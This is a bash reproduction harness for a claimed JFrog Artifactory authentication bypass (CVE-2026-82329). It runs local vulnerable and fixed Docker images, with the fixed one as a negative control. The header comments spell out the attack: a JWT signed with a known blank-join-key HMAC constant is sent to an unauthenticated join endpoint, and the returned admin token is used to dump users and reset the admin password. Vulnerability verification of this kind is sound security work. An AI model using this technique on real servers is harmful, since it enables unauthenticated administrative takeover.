#!/bin/bash
# CVE-2026-82329 - JFrog Artifactory critical unauthenticated authentication
# bypass leading to administrative takeover (CVSS 9.8, PR:N).
#
# Root cause (isolated by binary diff of artifactory-jcr:7.146.36 vs 7.146.38,
# which changes ONLY the Access service 7.176.27 -> 7.176.28):
#   * JoinKeyAccess.tryResolveJoinKeys() split the (empty-by-default)
#     "additional join keys" config and registered a JoinKeyHashPair for a
#     BLANK join key (kid = sha256("")), because Try.isEmpty() does not test
#     string emptiness and JoinKeyHashPair accepted blank keys.
#   * JoinKeyUtils.getSigningKey("") pkcs7-pads the empty key to
#     32 bytes of 0x20, an attacker-known constant HMAC key.
#   * The unauthenticated endpoint POST /access/api/v1/registry/join
#     (RegistryNoAuthResource) verifies the submitted JWT against every known
#     join key (including the blank one) and, on match, returns a
#     never-expiring service ADMIN token for the attacker-chosen service_id.
#   Fixed in 7.146.38: blank entries are filtered (Strings::isNotBlank) and
#   JoinKeyHashPair rejects null/blank keys.
#
# This script (zero valid credentials):
#   1. Starts PostgreSQL + vulnerable Artifactory JCR 7.146.25 (default config).
#   2. POSTs a JWT signed with HMAC-SHA256 key = 32 x 0x20 to the
#      unauthenticated /access/api/v1/registry/join endpoint -> service admin token.
#   3. Uses it to dump users, reset the real admin's password, and mint an
#      admin user token accepted by Artifactory's admin-only API.
#   4. Negative control: identical attack against fixed 7.146.38 must fail.
#
# Exit 0 = vulnerability confirmed (vuln exploited, fixed rejects).
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS/http" "$ARTIFACTS/runtime"
cd "$ROOT"

VULN_IMAGE="${VULN_IMAGE:-releases-docker.jfrog.io/jfrog/artifactory-jcr:7.146.25}"
FIXED_IMAGE="${FIXED_IMAGE:-releases-docker.jfrog.io/jfrog/artifactory-jcr:7.146.38}"
NET=cve82329-net
VULN_PORT=8082
FIXED_PORT=8083
EXPLOIT="$REPRO_DIR/exploit_join_bypass.py"
MANIFEST="$REPRO_DIR/runtime_manifest.json"

log() { echo "[repro $(date -u +%H:%M:%S)] $*" | tee -a "$LOGS/reproduction_steps.log"; }

write_manifest() {
  python3 - "$MANIFEST" <<'PYEOF'
import json, sys
manifest = {
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "unauthenticated POST /access/api/v1/registry/join on self-hosted Artifactory (JFrog Access cluster-join), followed by admin takeover via /access/api/v1/users + /access/api/v1/tokens + /artifactory/api/system/info",
  "service_started": False,
  "healthcheck_passed": False,
  "target_path_reached": False,
  "runtime_stack": ["docker", "postgres:16-alpine", "artifactory-jcr"],
  "proof_artifacts": [],
  "notes": "initialized; updated on completion"
}
json.dump(manifest, open(sys.argv[1], "w"), indent=2)
PYEOF
}

cleanup() {
  docker rm -f art-vuln art-fixed artifactory-postgres >/dev/null 2>&1 || true
  docker network rm "$NET" >/dev/null 2>&1 || true
}
trap cleanup EXIT

write_manifest

# --- 0. prerequisites -------------------------------------------------------
for cmd in docker curl python3; do
  command -v "$cmd" >/dev/null || { log "missing required tool: $cmd"; exit 2; }
done
docker info >/dev/null 2>&1 || { log "docker daemon not available"; exit 2; }

# --- 1. images --------------------------------------------------------------
log "pulling images (may already be cached)"
docker pull "$VULN_IMAGE"  >>"$LOGS/docker_pull.log" 2>&1
docker pull "$FIXED_IMAGE" >>"$LOGS/docker_pull.log" 2>&1
docker pull postgres:16-alpine >>"$LOGS/docker_pull.log" 2>&1
docker image inspect "$VULN_IMAGE"  --format '{{.RepoTags}} {{.Id}}' > "$ARTIFACTS/vuln_image_id.txt"
docker image inspect "$FIXED_IMAGE" --format '{{.RepoTags}} {{.Id}}' > "$ARTIFACTS/fixed_image_id.txt"
cat "$ARTIFACTS/vuln_image_id.txt" "$ARTIFACTS/fixed_image_id.txt" | tee -a "$LOGS/reproduction_steps.log"

# --- 2. infra ---------------------------------------------------------------
cleanup >/dev/null 2>&1 || true
docker network create "$NET" >/dev/null
docker run -d --name artifactory-postgres --network "$NET" \
  --network-alias artifactory-postgres \
  -e POSTGRES_USER=artifactory -e POSTGRES_PASSWORD=artifactory \
  -e POSTGRES_DB=artifactory postgres:16-alpine >/dev/null
log "waiting for postgres"
for i in $(seq 1 30); do
  docker exec artifactory-postgres pg_isready -U artifactory >/dev/null 2>&1 && break
  sleep 2
done
# separate DB for the fixed instance (each instance stores its master-key fingerprint)
docker exec artifactory-postgres psql -U artifactory -d artifactory \
  -c "CREATE DATABASE artifactory_fixed" >/dev/null
log "postgres ready (databases: artifactory, artifactory_fixed)"

# start_artifactory <name> <image> <host_port> <db_name>
# Uses docker create + docker cp + docker start (single-file bind mounts break
# JFrog's atomic system.yaml rewrite, and 7.146.x requires external PostgreSQL
# plus a provisioned master.key; default config otherwise: no join key set,
# no additional join keys, anonymous settings untouched).
start_artifactory() {
  local name="$1" image="$2" port="$3" db="$4"
  local ydir="$ARTIFACTS/runtime/$name"
  mkdir -p "$ydir"
  python3 -c 'import secrets; print(secrets.token_hex(16))' > "$ydir/master.key"
  cat > "$ydir/system.yaml" <<EOF
configVersion: 1
shared:
  database:
    type: postgresql
    driver: org.postgresql.Driver
    url: jdbc:postgresql://artifactory-postgres:5432/$db
    username: artifactory
    password: artifactory
  node:
    ip: 127.0.0.1
EOF
  docker rm -f "$name" >/dev/null 2>&1 || true
  docker create --name "$name" --network "$NET" -p "$port":8082 "$image" >/dev/null
  docker cp "$ydir/system.yaml" "$name":/opt/jfrog/artifactory/var/etc/system.yaml
  docker cp "$ydir/master.key" "$name":/opt/jfrog/artifactory/var/etc/security/master.key
  docker start "$name" >/dev/null
  log "started $name ($image) on port $port, waiting for readiness"
  for i in $(seq 1 150); do
    if [ "$(curl -s -m 3 "http://127.0.0.1:$port/artifactory/api/system/ping" 2>/dev/null)" = "OK" ]; then
      log "$name ready after ~$((i*10))s"
      return 0
    fi
    sleep 10
  done
  log "$name FAILED to become ready"; docker logs "$name" >"$LOGS/$name-boot-failure.log" 2>&1; return 1
}

# --- 3. vulnerable instance: exploit ---------------------------------------
start_artifactory art-vuln "$VULN_IMAGE" "$VULN_PORT" artifactory
docker exec art-vuln cat /opt/jfrog/artifactory/app/artifactory.product.version.properties \
  > "$ARTIFACTS/vuln_version.txt" 2>/dev/null || true

log "=== exploiting vulnerable instance with zero credentials ==="
set +e
python3 "$EXPLOIT" "http://127.0.0.1:$VULN_PORT" "$ARTIFACTS/http/vuln_exploit.json" 2>&1 | tee -a "$LOGS/reproduction_steps.log"
VULN_RC=${PIPESTATUS[0]}
set -e

# --- 4. fixed instance: negative control ------------------------------------
start_artifactory art-fixed "$FIXED_IMAGE" "$FIXED_PORT" artifactory_fixed
docker exec art-fixed cat /opt/jfrog/artifactory/app/artifactory.product.version.properties \
  > "$ARTIFACTS/fixed_version.txt" 2>/dev/null || true

log "=== running identical attack against fixed instance (negative control) ==="
set +e
python3 "$EXPLOIT" "http://127.0.0.1:$FIXED_PORT" "$ARTIFACTS/http/fixed_exploit.json" 2>&1 | tee -a "$LOGS/reproduction_steps.log"
FIXED_RC=${PIPESTATUS[0]}
set -e

# service-side evidence: access log lines about the join attempts
docker logs art-vuln  >"$LOGS/art-vuln-docker.log"  2>&1 || true
docker logs art-fixed >"$LOGS/art-fixed-docker.log" 2>&1 || true
docker exec art-vuln  bash -c 'grep -i "join" /opt/jfrog/artifactory/var/log/access-service.log | tail -20' \
  >"$LOGS/art-vuln-access-join.log" 2>/dev/null || true
docker exec art-fixed bash -c 'grep -i "join" /opt/jfrog/artifactory/var/log/access-service.log | tail -20' \
  >"$LOGS/art-fixed-access-join.log" 2>/dev/null || true

# --- 5. verdict + manifest ---------------------------------------------------
log "vuln exploit rc=$VULN_RC (0=admin takeover), fixed rc=$FIXED_RC (non-zero=rejected)"

VULN_OK=false; FIXED_BLOCKED=false
[ "$VULN_RC" = "0" ] && VULN_OK=true
[ "$FIXED_RC" != "0" ] && FIXED_BLOCKED=true

python3 - "$MANIFEST" "$VULN_OK" "$FIXED_BLOCKED" "$VULN_IMAGE" "$FIXED_IMAGE" <<'PYEOF'
import hashlib, json, os, sys
path, vuln_ok, fixed_blocked, vimg, fimg = sys.argv[1:6]
root = os.environ["PRUVA_ROOT"]
proofs = [
  "artifacts/http/vuln_exploit.json",
  "artifacts/http/fixed_exploit.json",
  "artifacts/vuln_image_id.txt",
  "artifacts/fixed_image_id.txt",
  "artifacts/vuln_version.txt",
  "artifacts/fixed_version.txt",
]
sha = {}
existing = []
for p in proofs:
    fp = os.path.join(root, p)
    if os.path.exists(fp):
        existing.append(p)
        sha[p] = hashlib.sha256(open(fp, "rb").read()).hexdigest()
manifest = {
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "unauthenticated POST /access/api/v1/registry/join (JFrog Access cluster join) on artifactory-jcr 7.146.25; blank-join-key HMAC JWT accepted; returned service admin token used to reset the admin password and mint an admin user token accepted by /artifactory/api/system/info",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": vuln_ok.lower() == "true",
  "runtime_stack": ["docker", "postgres:16-alpine", vimg, fimg],
  "target_identity": {
    "repository_url": "https://releases-docker.jfrog.io/jfrog/artifactory-jcr",
    "commit_sha": None,
    "target_digest": "docker-image:" + vimg,
    "runtime_digest": "docker-image:" + fimg,
    "platform": "linux",
    "architecture": "x86_64"
  },
  "proof_artifacts": existing,
  "artifact_sha256": sha,
  "notes": f"vulnerable exploited={vuln_ok}, fixed rejected={fixed_blocked}"
}
json.dump(manifest, open(path, "w"), indent=2)
PYEOF

if $VULN_OK && $FIXED_BLOCKED; then
  log "RESULT: CVE-2026-82329 CONFIRMED - unauthenticated admin takeover on 7.146.25; fixed 7.146.38 rejects the attack"
  exit 0
fi
log "RESULT: NOT confirmed (vuln_ok=$VULN_OK fixed_blocked=$FIXED_BLOCKED)"
exit 1
